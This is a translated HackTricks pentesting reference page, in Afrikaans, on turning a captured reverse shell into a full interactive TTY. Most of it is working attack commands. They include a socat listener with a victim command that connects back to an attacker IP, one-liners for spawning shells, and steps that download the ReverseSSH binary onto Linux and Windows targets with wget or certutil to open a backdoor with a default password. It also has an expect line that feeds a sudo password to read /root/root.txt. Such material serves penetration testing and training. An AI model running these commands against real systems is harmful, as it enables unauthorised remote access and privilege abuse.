hacktricks/generic-methodologies-and-resources/shells/full-ttys.md
2024-02-11 02:07:06 +00:00

5.9 KiB

Volledige TTYs

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Volledige TTY

Let daarop dat die skulp wat jy in die SHELL-veranderlike stel, moet wees opgesom binne /etc/shells of Die waarde vir die SHELL-veranderlike is nie gevind in die /etc/shells-lêer nie. Hierdie voorval is aangemeld. Let ook daarop dat die volgende snippe slegs werk in bash. As jy in 'n zsh is, verander na 'n bash voordat jy die skulp bekom deur bash uit te voer.

Python

{% code overflow="wrap" %}

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

{% hint style="info" %} Jy kan die aantal van rye en kolomme kry deur stty -a uit te voer {% endhint %}

skrip

{% code overflow="wrap" %}

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn skulpe

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

'n Gerieflike manier vir interaktiewe skulptoegang, sowel as lêeroordragte en poort deurstuur, is om die staties gekoppelde ssh-bediener ReverseSSH op die teiken te plaas.

Hieronder is 'n voorbeeld vir x86 met upx-gekomprimeerde binaêre lêers. Vir ander binaêre lêers, kyk na die vrylatingsbladsy.

  1. Maak lokaal gereed om die ssh-poortdeurstuurversoek te ontvang:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

{% endcode %}

  • (2a) Linux teiken:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

{% endcode %}

  • (2b) Windows 10 teiken (vir vroeëre weergawes, kyk na projek leesmy):

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

{% endcode %}

  • As die ReverseSSH-poort deurstuurversoek suksesvol was, moet jy nou in staat wees om in te teken met die verstek wagwoord letmeinbrudipls in die konteks van die gebruiker wat reverse-ssh(.exe) uitvoer:
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

Geen TTY

As jy om een of ander rede nie 'n volledige TTY kan verkry nie, kan jy steeds met programme interaksie hê wat gebruikersinvoer verwag. In die volgende voorbeeld word die wagwoord aan sudo oorgedra om 'n lêer te lees:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: